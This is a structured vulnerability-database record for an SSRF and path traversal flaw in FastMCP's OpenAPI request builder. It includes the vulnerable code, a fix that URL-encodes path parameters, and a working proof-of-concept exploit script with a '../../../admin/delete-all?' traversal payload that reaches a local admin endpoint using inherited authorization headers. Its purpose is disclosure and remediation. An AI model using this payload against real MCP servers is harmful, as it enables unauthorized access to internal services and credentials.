{"schema":"threatline.record/2","record":{"id":"CVE-2026-32871","aliases":["GHSA-vv7q-7jx5-f767","PYSEC-2026-338"],"summary":"FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability","details":"## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n\n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -> str:\n    # Direct string substitution without encoding\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            url_path = url_path.replace(placeholder, str(param_value))\n\n    # urljoin resolves ../ escape sequences\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n\n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n    return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n    if authorization == \"Bearer admin_secret\":\n        return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n    raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\nfrom fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n    # Initialize vulnerable component\n    director = RequestDirector(spec={})\n    base_url = \"http://127.0.0.1:8080/\"\n    template = \"/api/v1/users/{id}/profile\"\n    \n    # Payload: Path traversal to reach /admin/delete-all\n    # The '?' character neutralizes the rest of the original template\n    payload = \"../../../admin/delete-all?\"\n    \n    # Construct malicious URL\n    malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n    print(f\"[*] Generated URL: {malicious_url}\")\n\n    async with httpx.AsyncClient() as client:\n        # Request inherits MCP provider's authorization headers\n        response = await client.get(\n            malicious_url, \n            headers={\"Authorization\": \"Bearer admin_secret\"}\n        )\n        print(f\"[+] Status Code: {response.status_code}\")\n        print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n    asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n\nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.\n\n---\n\n## Impact Assessment\n\n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider's security context and credentials\n- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n2. **Data Theft**: Access internal databases or sensitive information endpoints\n3. **Service Disruption**: Trigger destructive operations on backend services\n4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n\n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -> str:\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            # Apply safe URL encoding to prevent traversal attacks\n            # safe=\"\" ensures ALL special characters are encoded\n            safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n            url_path = url_path.replace(placeholder, safe_value)\n\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```","categories":["Libraries & packages"],"product":"fastmcp","vendor":"PrefectHQ","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-vv7q-7jx5-f767","source_modified_at":"2026-10-27T16:40:35Z","fetched_at":"2026-10-27T21:14:11.489891Z","package":{"ecosystem":"pip","name":"fastmcp"},"range":"< 3.2.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-32871","source_modified_at":"2026-07-15T01:07:35.875Z","fetched_at":"2026-10-27T21:14:11.489891Z","product":"fastmcp","vendor":"PrefectHQ","versions":[{"version":"< 3.2.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-vv7q-7jx5-f767","source_modified_at":"2026-10-27T17:00:03.994753522Z","fetched_at":"2026-10-27T21:14:11.489891Z","package":{"name":"fastmcp","ecosystem":"PyPI","purl":"pkg:pypi/fastmcp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.0"}]}],"versions":["0.1.0","0.2.0","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.4.0","0.4.1","1.0","2.0.0","2.1.0","2.1.1","2.1.2","2.10.0","2.10.1","2.10.2","2.10.3","2.10.4","2.10.5","2.10.6","2.11.0","2.11.1","2.11.2","2.11.3","2.12.0","2.12.0rc1","2.12.1","2.12.2","2.12.3","2.12.4","2.12.5","2.13.0","2.13.0.1","2.13.0.2","2.13.0rc1","2.13.0rc2","2.13.0rc3","2.13.1","2.13.2","2.13.3","2.14.0","2.14.1","2.14.2","2.14.3","2.14.4","2.14.5","2.14.6","2.14.7"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-vv7q-7jx5-f767","source_modified_at":"2026-10-27T16:40:35Z","fetched_at":"2026-10-27T21:14:11.489891Z","package":{"ecosystem":"pip","name":"fastmcp"},"version":"3.2.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-vv7q-7jx5-f767","source_modified_at":"2026-10-27T17:00:03.994753522Z","fetched_at":"2026-10-27T21:14:11.489891Z","package":{"name":"fastmcp","ecosystem":"PyPI","purl":"pkg:pypi/fastmcp"},"version":"3.2.0"}],"cvss":10,"severity":"Critical","kev":{"listed":false},"epss":{"probability":0.00909,"percentile":0.59775,"score_date":"2026-10-27"},"published_at":"2026-04-02T14:52:39.978Z","modified_at":"2026-10-27T17:00:03.994753522Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-vv7q-7jx5-f767","fetched_at":"2026-10-27T21:14:11.489891Z","source_modified_at":"2026-10-27T16:40:35Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-32871","fetched_at":"2026-10-27T21:14:11.489891Z","source_modified_at":"2026-07-15T01:07:35.875Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-vv7q-7jx5-f767","fetched_at":"2026-10-27T21:14:11.489891Z","source_modified_at":"2026-10-27T17:00:03.994753522Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-32871","fetched_at":"2026-10-27T21:14:11.489891Z","source_modified_at":"2026-10-27"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32871","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/PrefectHQ/fastmcp/pull/3507","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/PrefectHQ/fastmcp/commit/40bdfb6b1de0ce30609ee9ba5bb95ecd04a9fb71","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/PrefectHQ/fastmcp/releases/tag/v3.2.0","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://access.redhat.com/errata/RHSA-2026:36350","tags":["vendor-advisory","x_refsource_REDHAT"]},{"source":"CVE List","url":"https://access.redhat.com/security/cve/CVE-2026-32871","tags":["vdb-entry","x_refsource_REDHAT"]},{"source":"CVE List","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2454434","tags":["issue-tracking","x_refsource_REDHAT"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/fastmcp/PYSEC-2026-338.yaml","source":"GitHub Advisory Database"},{"url":"https://pypi.org/project/fastmcp","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32871.json","tags":["x_sadp-csaf-vex"]},{"url":"https://github.com/advisories/GHSA-vv7q-7jx5-f767","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"total","assessed_at":"2026-04-02T15:59:21.963304Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-27T17:00:03.994753522Z","content_hash":"4cd7ba600539aab6ab4132de7a39cdb76e565125f4666066854feede415e6137"}}
